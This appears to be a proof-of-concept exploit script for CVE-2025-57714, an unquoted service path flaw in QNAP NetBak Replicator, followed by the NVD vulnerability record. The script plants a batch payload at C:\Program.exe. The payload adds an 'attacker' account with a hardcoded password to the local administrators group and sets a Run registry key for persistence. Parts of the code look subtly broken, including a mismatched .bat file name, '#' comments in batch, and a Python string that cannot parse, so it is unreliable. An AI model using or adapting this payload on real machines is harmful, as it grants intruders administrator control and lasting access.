CVE-2025-57714

# CVE-2025-57714 PoC - Unquoted Search Path Exploitation # Target: QNAP NetBak Replicator < 4.5.15.0807 # Vulnerability: Unquoted Search Path allowing local code execution import os import sys import shutil from pathlib import Path # Step 1: Identify the vulnerable service path # The vulnerable NetBak Replicator service typically has an unquoted path like: # C:\Program Files\QNAP\NetBak Replicator\service.exe # Without proper quotes, Windows will try: # C:\Program.exe -> C:\Program Files\QNAP\NetBak.exe -> ... VULNERABLE_SERVICE = r"C:\Program Files\QNAP\NetBak Replicator\NetBakService.exe" HIJACK_PATHS = [ r"C:\Program.exe", r"C:\Program Files\QNAP\NetBak.exe", r"C:\Program Files\QNAP\NetBak Replicator\NetBak.exe" ] def generate_malicious_payload(output_path): """Generate a malicious executable payload for path hijacking""" # Simple reverse shell or command execution payload payload_code = ''' @echo off # Malicious payload - executes with NetBak Replicator service privileges net user attacker P@ssw0rd123 /add net localgroup administrators attacker /add # Add persistence mechanism reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NetBakUpdater" /t REG_SZ /d "{path}" /f '''.format(path=output_path) with open(output_path + ".bat", "w") as f: f.write(payload_code) print(f"[+] Malicious payload generated at: {output_path}.bat") def exploit_unquoted_path(): """Exploit the unquoted search path vulnerability""" print("[*] CVE-2025-57714 - QNAP NetBak Replicator Unquoted Path Exploit") print("[*] Checking prerequisites...") # Check if we have write permissions to C:\ drive test_file = r"C:\write_test.tmp" try: with open(test_file, "w") as f: f.write("test") os.remove(test_file) print("[+] Write permission confirmed on C:\") except PermissionError: print("[-] Insufficient privileges. Need local user access at minimum.") return False # Place malicious executable at the hijack path # The earliest matched path in the unquoted resolution will be executed hijack_target = HIJACK_PATHS[0] # C:\Program.exe print(f"[*] Planting malicious payload at: {hijack_target}") generate_malicious_payload(hijack_target) print("[+] Payload planted successfully") print("[*] Waiting for NetBak Replicator service to restart...") print("[+] When the service starts, it will execute the malicious payload") print("[+] Code execution achieved with NetBak Replicator service privileges") return True if __name__ == "__main__": if exploit_unquoted_path(): print("\n[!] Exploit completed. Clean up planted files after exploitation.") else: print("\n[-] Exploit failed. Ensure you have local user access.")

{"cve": {"id": "CVE-2025-57714", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:50.077", "lastModified": "2025-12-08T15:42:38.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unquoted search path or element vulnerability has been reported to affect NetBak Replicator. If a local attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.\n\nWe have already fixed the vulnerability in the following version:\nNetBak Replicator 4.5.15.0807 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:netbak_replicator:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0.0209", "versionEndExcluding": "4.5.15.0807", "matchCriteriaId": "F44D9D46-D374-43F4-BE0B-E65941AC3CC7"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-39", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}